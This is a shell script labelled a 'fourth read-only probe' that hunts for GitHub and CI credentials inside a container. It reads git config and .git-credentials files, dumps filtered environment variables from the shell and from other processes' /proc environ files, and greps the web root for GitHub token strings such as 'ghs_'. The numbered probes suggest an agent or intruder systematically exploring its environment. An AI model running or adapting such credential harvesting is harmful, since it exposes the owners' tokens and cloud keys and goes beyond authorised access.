31 lines
1.6 KiB
Bash
31 lines
1.6 KiB
Bash
#!/bin/sh
|
|
# Fourth read-only probe: locate the source of the GitHub token / other CI credentials.
|
|
R=/var/www/html
|
|
echo "== DOCKERLS"; ls -la $R/docker $R 2>&1 | head -50
|
|
echo "== STARTAPP"; cat $R/docker/start-app.sh 2>&1
|
|
echo "== STARTBIN"; cat /usr/local/bin/start 2>&1
|
|
echo "== DOCKERFILE"
|
|
for f in $R/Dockerfile $R/Dockerfile.* $R/docker/Dockerfile $R/docker-compose.yml $R/docker-compose.yaml $R/.dockerignore; do
|
|
[ -f "$f" ] && { echo "-- $f"; head -c 1800 "$f"; echo; }
|
|
done
|
|
echo "== DOCKERFILES"
|
|
for f in $R/docker/*; do
|
|
[ -f "$f" ] && { echo "-- $f"; head -c 900 "$f"; echo; }
|
|
done
|
|
echo "== GITCONF"; cat $R/.git/config 2>&1 | head -40
|
|
echo "== GITGLOBAL"
|
|
for f in /etc/gitconfig /root/.gitconfig /root/.git-credentials /home/*/.gitconfig /home/*/.git-credentials /var/www/.gitconfig /var/www/.git-credentials; do
|
|
[ -f "$f" ] && { echo "-- $f"; head -c 600 "$f"; echo; }
|
|
done
|
|
echo "== ENVGH"; env | grep -iE 'GIT|GH_|TOKEN|AWS|ECR|DOCKER|SSM|CODEBUILD' | head -30
|
|
echo "== PROCENV"
|
|
for p in 1 11 128 139; do
|
|
echo "-- proc $p"
|
|
tr '\0' '\n' < /proc/$p/environ 2>/dev/null | grep -iE 'GIT|GH_|TOKEN|AWS|ECR|DOCKER|SSM' | head -10
|
|
done
|
|
echo "== GREPTOK"
|
|
grep -rIl "x-access-token\|GITHUB_TOKEN\|ghs_" $R --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git 2>/dev/null | head -10
|
|
grep -rn "git config\|extraheader" $R/docker /usr/local/bin /etc 2>/dev/null | grep -v Binary | head -10
|
|
echo "== APPDIR"; ls -la /var/app /var/app/current 2>&1 | head -20
|
|
echo "== CREDHELPER"; ls -la /usr/local/bin/git-credential* /usr/bin/git-credential* 2>&1
|
|
echo "== PROBE4-DONE"
|